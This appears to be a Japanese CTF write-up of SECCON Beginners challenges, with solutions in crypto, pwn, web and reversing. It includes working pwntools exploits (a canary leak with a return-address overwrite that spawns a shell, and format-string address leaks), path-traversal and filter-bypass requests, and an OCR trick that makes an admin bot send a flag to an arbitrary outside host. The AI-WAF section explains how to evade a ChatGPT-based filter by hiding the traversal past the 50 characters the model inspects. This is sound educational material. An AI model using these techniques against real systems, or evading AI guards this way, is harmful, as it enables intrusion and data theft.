Writer:b1uef0x / Webページ建造途中
昨年に引き続き個人参戦して、昨年と同程度の結果となった。速さが足りない。全完はreversingのみ、cryptoが奮わなかった。
暗号問題に初めて挑戦する方向けに独自暗号と暗号化した後の出力を配布します。 ご覧の通り、簡易な暗号方式なので解読は簡単です。 解読をお願いします!
The original cipher for beginners and encrypted text are provided. Needless to say, this cipher is too childish, and that easy to decrypt! So, could you please decrypt it?
CoughingFox2.tar.gz a2be048e61bfc5acaf6a23d3948568e0a2ea247c
暗号化を行うmain.pyと出力結果が配布される。
main.py# coding: utf-8
import random
import os
flag = b"ctf4b{xxx___censored___xxx}"
# Please remove here if you wanna test this code in your environment :)
flag = os.getenv("FLAG").encode()
cipher = []
for i in range(len(flag)-1):
c = ((flag[i] + flag[i+1]) ** 2 + i)
cipher.append(c)
random.shuffle(cipher)
print(f"cipher = {cipher}")
cipher.txtcipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]
連続するflag文字を足して2乗して文字の位置を足している。最後にシャッフルされているが、文字の位置を総当りで引き算した結果が平方数になるかどうかを判定すれば、元の位置がわかる。
平方根をとればflag[i]+flag[i+1]が得られ、最初の文字はcとわかっているので順次分解できる。
# coding: utf-8
import math
def isSquare(n):
odd = 1
while n > 0:
n = n - odd
odd = odd + 2
return n == 0
cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]
flags = []
for i in range(len(cipher)):
flags.append(0)
for c in cipher:
for i in range(len(cipher)):
c2 = c-i
if isSquare(c2):
flags[i] = math.floor(math.sqrt(c2))
d = ord("c")
flag = chr(d)
for f in flags:
d = f-d
flag += chr(d)
print(flag)
ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}
なんだか目が回りそうな問題ですね……
Conquer.tar.gz 4fe9007c38458ac345dc11109666d30b5d1f8f93
暗号化を行うproblem.pyと出力結果が配布される。
problem.pyfrom Crypto.Util.number import *
from random import getrandbits
from flag import flag
def ROL(bits, N):
for _ in range(N):
bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
return bits
flag = bytes_to_long(flag)
length = flag.bit_length()
key = getrandbits(length)
cipher = flag ^ key
for i in range(32):
key = ROL(key, pow(cipher, 3, length))
cipher ^= key
print("key =", key)
print("cipher =", cipher)
output.txtkey = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
flagに対してランダムに生成したkeyを使って繰り返し暗号化を行っている。ROL関数でkeyのビット列をぐるぐる回しているので、この逆を行うLOR関数を作って処理を逆回しにすればよい。
from Crypto.Util.number import *
def ROL(bits, N):
for _ in range(N):
bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
return bits
def LOR(bits, N):
for _ in range(N):
bits = (bits >> 1) | ((bits << (length - 1)) & (2**length-1))
return bits
key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
length = key.bit_length()+1
for i in range(32):
cipher ^= key
key = LOR(key, pow(cipher, 3, length))
flag = cipher^ key
print(long_to_bytes(flag))
元のlengthが微妙に変わっていたようで、1を足したら上手くいった。
ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}
ポエムを書きました!
nc poem.beginners.seccon.games 9000
poem.tar.gz c6e898c599ac92d26dcafee2b30cf7daf7865705
#include <stdio.h>
#include <unistd.h>
char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
"In the depths of silence, the universe speaks.",
"Raindrops dance on windows, nature's lullaby.",
"Time weaves stories with the threads of existence.",
"Hearts entwined, two souls become one symphony.",
"A single candle's glow can conquer the darkest room.",
};
int main() {
int n;
printf("Number[0-4]: ");
scanf("%d", &n);
if (n < 5) {
printf("%s\n", poem[n]);
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
n<5の条件でpoem[n]を表示するが、マイナスの値を指定できるのでpoem[]より上にいるflagを表示できる。nを小さくして試していくとn=-4でヒット。
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
BOF...?
nc rewriter2.beginners.seccon.games 9001
rewriter2.tar.gz 93b616911713517cf5d47677f33eb7a4a70446c9
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x20
#define READ_SIZE 0x100
void __show_stack(void *stack);
int main() {
char buf[BUF_SIZE];
__show_stack(buf);
printf("What's your name? ");
read(0, buf, READ_SIZE);
printf("Hello, %s\n", buf);
__show_stack(buf);
printf("How old are you? ");
read(0, buf, READ_SIZE);
puts("Thank you!");
__show_stack(buf);
return 0;
}
void win() {
puts("Congratulations!");
system("/bin/sh");
}
void __show_stack(void *stack) {
unsigned long *ptr = stack;
printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
puts("====================+===================");
for (int i = 0; i < 10; i++) {
if (&ptr[i] == stack + BUF_SIZE + 0x8) {
printf(" 0x%016lx | xxxxx hidden xxxxx <- canary\n",
(unsigned long)&ptr[i]);
continue;
}
printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
if (&ptr[i] == stack)
printf(" <- buf");
if (&ptr[i] == stack + BUF_SIZE + 0x10)
printf(" <- saved rbp");
if (&ptr[i] == stack + BUF_SIZE + 0x18)
printf(" <- saved ret addr");
puts("");
}
puts("");
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
ソースコードにwin関数があるのでretアドレスを書き換えたい。
$ nc rewriter2.beginners.seccon.games 9001
[Addr] | [Value]
====================+===================
0x00007ffd928df900 | 0x00007f12b22b82e8 <- buf
0x00007ffd928df908 | 0x00000000004014e0
0x00007ffd928df910 | 0x0000000000000000
0x00007ffd928df918 | 0x0000000000401110
0x00007ffd928df920 | 0x00007ffd928dfa20
0x00007ffd928df928 | xxxxx hidden xxxxx <- canary
0x00007ffd928df930 | 0x0000000000000000 <- saved rbp
0x00007ffd928df938 | 0x00007f12b20eb083 <- saved ret addr
0x00007ffd928df940 | 0x00007f12b22ea620
0x00007ffd928df948 | 0x00007ffd928dfa28
What's your name?
実行すると書き換えたいsaved ret addrの手前にcanaryがいるので、BOFでリターンアドレスを書き換えるにはcanaryを流出させる必要がある。
printf("What's your name? ");
read(0, buf, READ_SIZE);
printf("Hello, %s\n", buf);
入力文字を表示するprintf部分を見るとFormatStringAttack対策済み。canaryが固定かもしれないと思って試しに総当りでcanaryを上書きしてみたところ、末尾が\x00で固定となっている以外はランダムのようだ。
注目箇所は適当にstackを上書きしたとき、名前のあとにゴミがくっつくことだ。
stack上のデータが漏れているように見えるので、gdbで確認してみる。
gdbでアタッチして、canaryまでの長さとなる40文字の入力を行うと、改行コードがcanaryを埋めてしまうもののcanary部分を含めて文字列としてつながることがわかる。
幸いcanaryの末尾は\x00で固定となっているので、41文字を入力してcanary7バイトを流出させることができる。
from pwn import *
io = remote('rewriter2.beginners.seccon.games',9001)
io.recvuntil("What's your name? ")
payload = b"1" * 41
io.send(payload)
data = io.recvuntil("How old are you? ")
canary = b"\x00" + data[48:48+7]
print(b"canary:" + canary)
payload = b"1"*40 + canary + b"\x00"*8 + p64(0x4012ca) #win function
print(b"payload:" + payload)
io.send(payload)
io.interactive()
41文字入力して流出させたcanaryを使い、40文字埋め+canary+8文字埋め+目標アドレス、と積んでリターンアドレスを書き換えるコードを書いた。
00000000004012c2 <win>:
4012c2: f3 0f 1e fa endbr64
4012c6: 55 push rbp
4012c7: 48 89 e5 mov rbp,rsp
4012ca: 48 8d 3d 72 0d 00 00 lea rdi,[rip+0xd72] # 402043 <_IO_stdin_used+0x43>
4012d1: e8 ca fd ff ff call 4010a0 <puts@plt>
4012d6: 48 8d 3d 77 0d 00 00 lea rdi,[rip+0xd77] # 402054 <_IO_stdin_used+0x54>
4012dd: e8 de fd ff ff call 4010c0 <system@plt>
4012e2: 90 nop
4012e3: 5d pop rbp
4012e4: c3 ret
なおwin関数は先頭に飛ばすとクラッシュしたため、0x4012caに飛ばした。
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
あなたの素敵な質問に対して、最高な回答をしてくれるかもしれないチャットアプリです。
nc forgot-some-exploit.beginners.seccon.games 9002
Forgot_Some_Exploit.tar.gz 5ac7161ce5b70c50e1c98615145651be23830167
解けなかった問題。前半まで。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#define BUFSIZE 0x100
void win() {
FILE *f = fopen("flag.txt", "r");
if (!f)
err(1, "Flag file not found...\n");
for (char c = fgetc(f); c != EOF; c = fgetc(f))
putchar(c);
}
void echo() {
char buf[BUFSIZE];
buf[read(0, buf, BUFSIZE-1)] = 0;
printf(buf);
buf[read(0, buf, BUFSIZE-1)] = 0;
printf(buf);
}
int main() {
echo();
puts("Bye!");
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
readでbufサイズ以上には書き込めないが、FormatStringAttackが有効。
gdbでスタックを確認してみる。
gdb-peda$ tel 0x7fffffffde10 48
0000| 0x7fffffffde10 ("aaaaaaaa\n")
0008| 0x7fffffffde18 --> 0xa ('\n')
0016| 0x7fffffffde20 --> 0x8
0024| 0x7fffffffde28 --> 0x40 ('@')
0032| 0x7fffffffde30 --> 0x40 ('@')
0040| 0x7fffffffde38 --> 0x0
0048| 0x7fffffffde40 --> 0xffffffffffffffff
0056| 0x7fffffffde48 --> 0x7fffffffefbc --> 0x6f682f0030303031 ('1000')
0064| 0x7fffffffde50 --> 0x0
0072| 0x7fffffffde58 --> 0x7100000017
0080| 0x7fffffffde60 --> 0x1000000000
0088| 0x7fffffffde68 --> 0x0
0096| 0x7fffffffde70 --> 0x0
0104| 0x7fffffffde78 --> 0x0
0112| 0x7fffffffde80 --> 0x2
0120| 0x7fffffffde88 --> 0x8000000000000006
0128| 0x7fffffffde90 --> 0x0
0136| 0x7fffffffde98 --> 0x0
0144| 0x7fffffffdea0 --> 0x0
0152| 0x7fffffffdea8 --> 0x0
0160| 0x7fffffffdeb0 --> 0x0
0168| 0x7fffffffdeb8 --> 0x0
0176| 0x7fffffffdec0 --> 0x1
0184| 0x7fffffffdec8 --> 0x1
0192| 0x7fffffffded0 --> 0x555555554040 --> 0x400000006
0200| 0x7fffffffded8 --> 0x7ffff7fe285c (<_dl_sysdep_start+1020>: mov rax,QWORD PTR [rsp+0x58])
0208| 0x7fffffffdee0 --> 0x6f0
0216| 0x7fffffffdee8 --> 0x7fffffffe339 --> 0xe021423f597d3fbf
0224| 0x7fffffffdef0 --> 0x7ffff7fc1000 (jg 0x7ffff7fc1047)
0232| 0x7fffffffdef8 --> 0x10101000000
0240| 0x7fffffffdf00 --> 0x2
0248| 0x7fffffffdf08 --> 0x178bfbff
0256| 0x7fffffffdf10 --> 0x7fffffffe349 --> 0x34365f363878 ('x86_64')
0264| 0x7fffffffdf18 --> 0xe021423f597d3f00
0272| 0x7fffffffdf20 --> 0x7fffffffdf30 --> 0x1
0280| 0x7fffffffdf28 --> 0x5555555552ec (<main+14>: lea rax,[rip+0xd34] # 0x555555556027)
0288| 0x7fffffffdf30 --> 0x1
0296| 0x7fffffffdf38 --> 0x7ffff7dabd90 (<__libc_start_call_main+128>: mov edi,eax)
0304| 0x7fffffffdf40 --> 0x0
0312| 0x7fffffffdf48 --> 0x5555555552de (<main>: push rbp)
0320| 0x7fffffffdf50 --> 0x100000000
目標のスタックは280バイトの位置、264バイトにcanaryがいる。実環境ではアドレスはランダム化されているため、FormatStringAttackでアドレスを入手する必要がある。
続いてFormatStringAttackでstackを書き換えなければいけないが、今回はそこまではできなかった。アドレスを入手するところまでのスクリプトを示す。
from pwn import *
io = remote('forgot-some-exploit.beginners.seccon.games',9002)
#io = process('./chall')
io.sendline(b'%39$08lx %40$08lx %41$08lx')
data = io.recvline().decode()[:-1].split(" ")
canary = int(data[0],16)
stack = int(data[1],16)-0x8
offset = int(data[2],16)-0x12ec
print(canary)
print(stack)
print(offset)
io.interactive()
FSBを用いたメモリーの書き換えはよくわからないので復習しておく。
サーバーにマルウェアが混入している可能性があるので、あなたの完璧なシグネチャで探してください
nc yaro.beginners.seccon.games 5003
backup
nc yaro-2.beginners.seccon.games 5003
YARO.tar.gz 3e8137a394a95756b0f8f8aee5265988f3122297
サーバー上のファイルをYARAルールで検索する問題。
server.py#!/usr/bin/env python3
import yara
import os
import timeout_decorator
@timeout_decorator.timeout(20)
def main():
rule = []
print('rule:')
while True:
l = input()
if len(l) == 0:
break
rule.append(l)
rule = '\n'.join(rule)
try:
print(f'OK. Now I find the malware from this rule:\n{rule}')
compiled = yara.compile(source=rule)
for root, d, f in os.walk('.'):
for p in f:
file = os.path.join(root, p)
matches = compiled.match(file, timeout=60)
if matches:
print(f'Found: {file}, matched: {matches}')
else:
print(f'Not found: {file}')
except:
print('Something wrong')
if __name__ == '__main__':
try:
main()
except timeout_decorator.timeout_decorator.TimeoutError:
print("Timeout")
rule_example.yarrule shebang {
strings:
$shebang = /^#!(\/[^\/ ]*)+\/?/
condition:
$shebang
}
rule maybe_python_executable {
strings:
$ident = /python(2|3)\r*\n/
condition:
shebang and $ident
}
サンプル通りに実行させてみる。
YARAルールを使ってマッチした文字を出す方法がわからなかったので1文字ずつ総当りで調べた。
from pwn import *
flag = ["63","74","66","34","62","7b"]#flag = "ctf4b{"
def makerule():
rules = ""
for i in range(33,127,1):
rules += "rule flag_" + format(i, 'x') + " {\n"
rules += " strings:$flag = { " + " ".join(flag) + " " +format(i, 'x')+ " }\n"
rules += " condition:$flag\n"
rules += "}\n"
return rules.encode()
while True:
io = remote('yaro.beginners.seccon.games',5003)
io.recvuntil("rule:")
io.sendline(makerule())
io.recvuntil("Not found: ./server.py")
io.recvline()
code = io.recvline().decode()[34:36]
flag.append(code)
io.close()
if code == "7d":
break
flagstr = ""
for f in flag:
flagstr += chr(int(f,16))
print(flagstr)
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
SHA! SHA! SHA!
nc shaxxx.beginners.seccon.games 25612
shaXXX.tar.gz 2be9b5aafb35aeeb95844aaa5b1dc19b8da3a3e7
main.pyimport os
import sys
import shutil
import hashlib
from flag import flag
def initialization():
if os.path.exists("./flags"):
shutil.rmtree("./flags")
os.mkdir("./flags")
def write_hash(hash, bit):
with open(f"./flags/sha{bit}.txt", "w") as f:
f.write(hash)
sha256 = hashlib.sha256(flag).hexdigest()
write_hash(sha256, "256")
sha384 = hashlib.sha384(flag).hexdigest()
write_hash(sha384, "384")
sha512 = hashlib.sha512(flag).hexdigest()
write_hash(sha512, "512")
def get_full_path(file_path: str):
full_path = os.path.join(os.getcwd(), file_path)
return os.path.normpath(full_path)
def check1(file_path: str):
program_root = os.getcwd()
dirty_path = get_full_path(file_path)
return dirty_path.startswith(program_root)
def check2(file_path: str):
if os.path.basename(file_path) == "flag.py":
return False
return True
if __name__ == "__main__":
initialization()
print(sys.version)
file_path = input("Input your salt file name(default=./flags/sha256.txt):")
if file_path == "":
file_path = "./flags/sha256.txt"
if not check1(file_path) or not check2(file_path):
print("No Hack!!! Your file path is not allowed.")
exit()
try:
with open(file_path, "rb") as f:
hash = f.read()
print(f"{hash=}")
except:
print("No Hack!!!")
flag.py# top secret (- __ -)
flag = b"ctf4b{dummy_flag}"
ファイルパスを入力するとそのファイルの中身を表示してくれる。ただしチェックがかかっており、上位ディレクトリの参照とflag.pyの表示が禁止されている。
$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./flags/sha256.txt
hash=b'b948ace516f0a61129ba1be69ad9f69f083ee20907f6b19e1ba072c7c8fd005b'
$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):flag.py
No Hack!!! Your file path is not allowed.
flag.pyをimportしている点を利用する。ローカルでmain.pyを実行すると__pycache__ディレクトリが作成され、コンパイル済みのファイルが作られる。
実行時にPythonのバージョン(3.11.3)を教えてくれているので「./__pycache__/flag.cpython-311.pyc」が生成されているはず。
$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00
\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00
\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04
\x80\x04\x80\x04r\x04\x00\x00\x00'
ctf4b{c4ch3_15_0ur_fr13nd!}
You don't have permission to access /flag on this server.
https://forbidden.beginners.seccon.games
Forbidden.tar.gz 018c1361937a789b327181c9a46ec574906c360c
Webページが与えられ、/flagを開くことができればよい。サーバー側のプログラムは以下のようになっている。
var express = require("express");
var app = express();
const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;
app.get("/", (req, res, next) => {
return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});
const block = (req, res, next) => {
if (req.path.includes('/flag')) {
return res.send(403, 'Forbidden :(');
}
next();
}
app.get("/flag", block, (req, res, next) => {
return res.send(FLAG);
})
var server = app.listen(PORT, HOST, () => {
console.log("Listening:" + server.address().port);
});
/flagをそのまま開くと403エラーが返る。app.getでは/flagとして読まれ、req.path.includes('/flag')では/flagとして読まれないパスを渡せばいい。
例えば大文字小文字は区別されないので、https://forbidden.beginners.seccon.games/FLAGでアクセスするとreq.path.includes('/flag')には引っかからず、flagを獲得できる。
ctf4b{403_forbidden_403_forbidden_403}
AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。
https://aiwaf.beginners.seccon.games
aiwaf.tar.gz 2ce11f780bbdae5509bd80f9b3ef9d7545951f9f
テキストファイルを読み込んで表示できるWebページ。リンクをたどると?file=***の形式でファイルを指定できる。
このアプリケーションのソースコードは以下のようになっている。
app.pyimport uuid
import openai
import urllib.parse
from flask import Flask, request, abort
# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address
##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################
app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True
# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])
openai.api_key = KEY
top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8" />
<title>亞空文庫</title>
</head>
<body>
<h1>亞空文庫</h1>
AIにセキュリティの物語を書いてもらいました。<br>
内容は正しいかどうかわかりません。<br>
<ul>
<li><a href="/?file=book0.txt">あ書</a></li>
<li><a href="/?file=book1.txt">い書</a></li>
<li><a href="/?file=book2.txt">う書</a></li>
<!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>
※セキュリティのためAI-WAFを導入しています。<br>
c 2023 ももんがの書房
</body>
</html>
"""
@app.route("/")
def top():
file = request.args.get("file")
if not file:
return top_page
if file in ["book0.txt", "book1.txt", "book2.txt"]:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read()
# AI-WAF
puuid = uuid.uuid4()
prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。
{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
try:
response = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{
"role": "user",
"content": prompt,
},
],
)
result = response.choices[0]["message"]["content"].strip()
except:
return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
if "No" in result:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read().replace(KEY, "")
return abort(403, "AI-WAFに検知されました??")
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=31415)
配布されるファイルにはアプリケーションの直下にflagファイルがあるので、一番下のopen(f"./books/{file}", encoding="utf-8")
の部分でパストラバーサルを行ってflagを表示させたい。
ただし、ChatGPTを使って../やflagの文字列を見つけさせている。ChatGPTを騙す問題かな・・・と思ったが、promptに入力される部分を見るとrequest.query_stringの最初の50文字までしか渡していないので、50文字以上のところに必要なクエリを書けばChatGPTに読まれる心配はない。
https://aiwaf.beginners.seccon.games/?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../flag
・・・で競技中は解けたのだが、writeupを書くに当たって再実行したところ失敗するようになった。長い単調文字列に対してAIが不審と判断したかもしれないので、気を取り直してAIがよく覚えていそうな無難な文字列に変更した。
https://aiwaf.beginners.seccon.games/?yahoogoogleyahoogoogleyahoogoogleyahoogoogleyahoogoogle&file=../flag
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
目に見える文字が全てではないが、過去の攻撃は通用しないはずです。
https://phisher2.beginners.seccon.games
phisher2.tar.gz 30ecedac5abd7d27ea3e4ae75c4237c949ba842c
以下のPOSTリクエストをサーバーに送信することができる。
curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games
幾つか送信した結果は次の通り。
$ curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games
{"input_url":"https://phisher2.beginners.seccon.games/foobar","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/foobar"}
$ curl -X POST -H "Content-Type: application/json" -d '{"text":"https://www.google.com/"}' https://phisher2.beginners.seccon.games
{"input_url":"https://www.google.com/","message":"admin: It's not url or safe url.","ocr_url":"https://www.google.com/"}
配布されているサーバー側のコードを確認する。
app.pyimport os
import uuid
from admin import share2admin
from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return open("./index.html").read()
@app.route("/", methods=["POST"])
def chall():
try:
text = request.json["text"]
except Exception:
return {"message": "text is required."}
fileId = uuid.uuid4()
file_path = f"/var/www/uploads/{fileId}.html"
with open(file_path, "w", encoding="utf-8") as f:
f.write(f'<p style="font-size:30px">{text}</p>')
message, ocr_url, input_url = share2admin(text, fileId)
os.remove(file_path)
return {"message": message, "ocr_url": ocr_url, "input_url": input_url}
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
app.pyでは、送信されたテキストをフォントサイズ30pxのpタグで囲んでファイルに書き出している。続いてshare2admin関数が呼ばれる。
admin.pyimport os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver
APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")
# read text from image
def ocr(image_path: str):
tool = pyocr.get_available_tools()[0]
return tool.image_to_string(Image.open(image_path), lang="eng")
def openWebPage(fileId: str):
try:
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--window-size=1920,1080")
driver = webdriver.Chrome(options=chrome_options)
driver.implicitly_wait(10)
url = f"file:///var/www/uploads/{fileId}.html"
driver.get(url)
image_path = f"./images/{fileId}.png"
driver.save_screenshot(image_path)
driver.quit()
text = ocr(image_path)
os.remove(image_path)
return text
except Exception:
return None
def find_url_in_text(text: str):
result = re.search(r"https?://[\w/:&\?\.=]+", text)
if result is None:
return ""
else:
return result.group()
def share2admin(input_text: str, fileId: str):
# admin opens the HTML file in a browser...
ocr_text = openWebPage(fileId)
if ocr_text is None:
return "admin: Sorry, internal server error."
# If there's a URL in the text, I'd like to open it.
ocr_url = find_url_in_text(ocr_text)
input_url = find_url_in_text(input_text)
# not to open dangerous url
if not ocr_url.startswith(APP_URL):
return "admin: It's not url or safe url.", ocr_url, input_text
try:
# It seems safe url, therefore let's open the web page.
requests.get(f"{input_url}?flag={FLAG}")
except Exception:
return "admin: I could not open that inner link.", ocr_url, input_text
return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
admin.pyでは2つの方法でURLが抽出されている。input_urlは入力テキストから正規表現でURLを抜き出したもの。ocr_urlはテキストを書き込んだHTMLをブラウザで開いて画面からOCRで文字列を取り出してから正規表現でURLを抜き出したものだ。
その上でocr_urlが内部アドレスになっている場合のみ、input_urlにflag文字列のクエリを付けてリクエストを実行する。
したがってやるべきことは簡単で、HTMLタグを使ってocr_urlには内部アドレスとして読ませ、input_urlを外部アドレスにすればよい。
<span style='color:#fff;'>https://example.example/</span><br>ht<span>t</span>ps://phisher2.beginners.seccon.games/
https://example.example/がアクセスさせたい任意のアドレスとしている。このようにするとOCRではhttps://phisher2.beginners.seccon.games/
が読まれ、テキスト直接ではhttps://example.example/
が読まれる。
アクセスを記録しているURLにリクエストを送信させてflagを入手。
curl -X POST -H "Content-Type: application/json" -d '{"text":"<span style=\"color:#fff;\">https://example.example/</span><br>ht<span>t</span>ps://phisher2.beginners.seccon.games/"}' https://phisher2.beginners.seccon.games
ctf4b{w451t4c4t154w?}
バイナリファイルってなんのファイルなのか調べてみよう!
あとこのファイルってどうやって中身を見るんだろう...?
Half.tar.gz f532a2ee8c9018ab2bb82d275b6a6838f54af630
何をするプログラムかは知らないが配布されたファイルをテキストエディタで開くとflagが平文で書いてあるのでヨシ。
ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}
このファイル、中身をちょっと見ただけではフラグは分からないみたい!
バイナリファイルを解析する、専門のツールとか必要かな?
Three.tar.gz 708918558460842584a4b762c6113f480e6ff781
配布されたファイルをGhidraで読み込んで逆コンパイル結果を見てみる。
undefined8 validate_flag(char *param_1)
{
char cVar1;
size_t sVar2;
undefined8 uVar3;
int local_c;
sVar2 = strlen(param_1);
if (sVar2 == 0x31) {
local_c = 0;
while (local_c < 0x31) {
if (local_c % 3 == 0) {
cVar1 = (char)*(undefined4 *)(flag_0 + (long)(local_c / 3) * 4);
}
else {
if (local_c % 3 == 1) {
cVar1 = (char)*(undefined4 *)(flag_1 + (long)(local_c / 3) * 4);
}
else {
cVar1 = (char)*(undefined4 *)(flag_2 + (long)(local_c / 3) * 4);
}
}
if (cVar1 != param_1[local_c]) {
puts("Invalid FLAG");
return 1;
}
local_c = local_c + 1;
}
puts("Correct!");
uVar3 = 0;
}
else {
puts("Invalid FLAG");
uVar3 = 1;
}
return uVar3;
}
入力されたフラグの一致判定をしている関数が見つかる。正解flagはバイナリ上でflag_0、flag_1、flag_2で三分割されている。該当するバイナリ部分は以下の通り。
flag_0
63 00 00 00 34 00 00 00 63 00 00 00 5F 00 00 00 75 00 00 00 62 00 00 00 5F 00 00 00 5F 00 00 00 64 00 00 00 74 00 00 00 5F 00 00 00 72 00 00 00 5F 00 00 00 31 00 00 00 5F 00 00 00 34 00 00 00 7D 00 00 00
flag_1
74 00 00 00 62 00 00 00 34 00 00 00 79 00 00 00 5F 00 00 00 31 00 00 00 74 00 00 00 75 00 00 00 30 00 00 00 34 00 00 00 74 00 00 00 65 00 00 00 73 00 00 00 69 00 00 00 66 00 00 00 67 00 00 00
flag_2
66 00 00 00 7B 00 00 00 6E 00 00 00 30 00 00 00 61 00 00 00 65 00 00 00 30 00 00 00 6E 00 00 00 5F 00 00 00 65 00 00 00 34 00 00 00 65 00 00 00 70 00 00 00 74 00 00 00 31 00 00 00 33 00 00 00
これをASCIIコードとして扱って順番に文字に戻せばいい。いつものJavaScriptで書いた。
<script>
f0 = "63 00 00 00 34 00 00 00 63 00 00 00 5F 00 00 00 75 00 00 00 62 00 00 00 5F 00 00 00 5F 00 00 00 64 00 00 00 74 00 00 00 5F 00 00 00 72 00 00 00 5F 00 00 00 31 00 00 00 5F 00 00 00 34 00 00 00 7D 00 00 00".split(" ");
f1 = "74 00 00 00 62 00 00 00 34 00 00 00 79 00 00 00 5F 00 00 00 31 00 00 00 74 00 00 00 75 00 00 00 30 00 00 00 34 00 00 00 74 00 00 00 65 00 00 00 73 00 00 00 69 00 00 00 66 00 00 00 67 00 00 00 ".split(" ");
f2 = "66 00 00 00 7B 00 00 00 6E 00 00 00 30 00 00 00 61 00 00 00 65 00 00 00 30 00 00 00 6E 00 00 00 5F 00 00 00 65 00 00 00 34 00 00 00 65 00 00 00 70 00 00 00 74 00 00 00 31 00 00 00 33 00 00 00".split(" ");
flag = ""
